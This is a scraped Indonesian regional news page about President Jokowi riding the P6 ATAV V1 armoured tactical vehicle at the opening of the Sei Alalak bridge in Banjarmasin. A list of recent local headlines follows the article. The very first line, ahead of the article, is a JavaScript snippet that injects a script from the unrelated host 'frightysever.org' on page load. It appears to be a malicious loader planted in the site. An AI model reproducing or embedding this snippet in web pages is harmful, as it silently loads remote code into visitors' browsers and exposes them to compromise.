(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Ini Kecanggihan Rantis P6 ATAV V1 yang Dinaiki Jokowi saat Resmikan Jembatan Sei Alalak


KANALKALIMANTAN.COM, BANJARMASIN– Presiden Joko Widodo (Jokowi) baru saja meresmikan Jembatan Sei Alalak sepanjang 850 meter dibangun dengan konstruksi teknologi tinggi serta tahan gempa. Berbeda dengan kunjungan ke Kalsel sebelumnya, kali ini Jokowi mengendarai kendaraan tempur milik Paspampres.

Mobil yang ditungganginya merupakan kendaraan taktis (rantis) P6 ATAV V1. Komandan Pasukan Pengamanan Presiden (Paspampres) Mayjen TNI Tri Budi Utomo yang dikutip dari laman presidenri.go.id mengatakan, P6 ATAV V1 memiliki sederet fitur canggih. Selain anti peluru, mobil ini ditunjang dengan kemampuan mendeteksi arah tembakan musuh.

“Teknologi ini dikenal dengan Gunshot Detection System yang dipasang pada bagian belakang P6 ATAV,” kata Mayjen Tri.
Untuk kerangkanya sendiri mobil ini terbuat dari pipa baja. “Rangka pipa baja untuk melindungi dari benturan jika terjadi kecelakaan,” kata Mayjen Tri.

Mobil lapis baja anti peluru itu, kendaraan Pasukan Pengamanan Presiden atau Paspampres. Meski semi terbuka, namun mobil produksi dalam negeri ini dipastikan aman.

 

Baca juga : Jokowi Tanya Capaian Vaksinasi di Banjarbaru, Wali Kota: November Sudah 70 Persen Pak!

Jokowi juga sempat berhenti dan turun dari kendaraan itu, saat di atas jembatan yang menghubungkan Kota Banjarmasin dan Kabupaten Barito Kuala di Provinsi Kalimantan Selatan ini.

Jembatan ini dibangun oleh kontraktor PT Wijaya Karya-Pandji, KSO menggunakan anggaran dari Surat Berharga Syariah Negara (SBSN/Sukuk Negara). “Sekarang menjadi salah satu destinasi wisata Kota Banjarmasin, karena instagramable,” kata menteri PUPR Basuki.

Istimewanya jembatan ini, kata Basuki, dari karena ibangun dengan cable stayed pylon asimetrik. Jembatan model ini, pertama dan satu-satunya di Indonesia.

“Namun karena daerah rawa, mencari tanah keras untuk pondasinya sampai 70 meter sehingga biayanya agak sedikit mahal. Tetapi inovasi kabel lengkung ini yang pertama kali di Indonesia yang didesain Direktorat Jenderal Bina Marga,” ujarnya. (Kanalkalimantan.com/red)

Reporter : red
Editor : cell


Desy Arfianty

Recent Posts

Status Internasional Dicabut, Bandara Syamsudin Noor Tetap Jadi Embarkasi Haji

KANALKALIMANTAN.COM, BANJARBARU - Kementerian Perhubungan (Kemenhub) memutuskan mencabut status Bandara Syamsudin Noor Banjarmasin di Banjarbaru… Read More

2 jam ago

Syarat Calon Non Partai Pilkada Banjarmasin Wajib Miliki 41 Ribu KTP Dukungan

KANALKALIMANTAN.COM, BANJARMASIN - Jelang Pemilihan Kepala Daerah (Pilkada) 2024, kandidat bakal calon Wali Kota dan… Read More

3 jam ago

MUI Banjar Berikan Pembekalan kepada Jemaah Calon Haji Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA - Jemaah Calon Haji (JCH) Kabupaten Banjar Tahun 2024 yang seluruhnya berjumlah 452… Read More

3 jam ago

Pj Bupati HSU Pimpin Peringatan Hardiknas 2024

KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara (HSU) menggelar peringatan Hari Pendidikan Nasional (Hardiknas)… Read More

3 jam ago

Kontrol Overpopulasi Kucing Beranak Pinak di Banjarbaru, 150 Pejantan Dikebiri

KANALKALIMANTAN.COM, BANJARBARU - Sebanyak 150 ekor kucing jantan di Kota Banjarbaru, Kalimantan Selatan (Kalsel) mendapat… Read More

6 jam ago

Dominasi Golkar di Rumah Banjar, Ini 55 Calon Terpilih Anggota DPRD Kalsel 2024-2029

KANALKALIMANTAN.COM, BANJARMASIN - Komisi Pemilihan Umum (KPU) Provinsi Kalimantan Selatan (Kalsel) resmi menetapkan perolehan kursi… Read More

7 jam ago

This website uses cookies.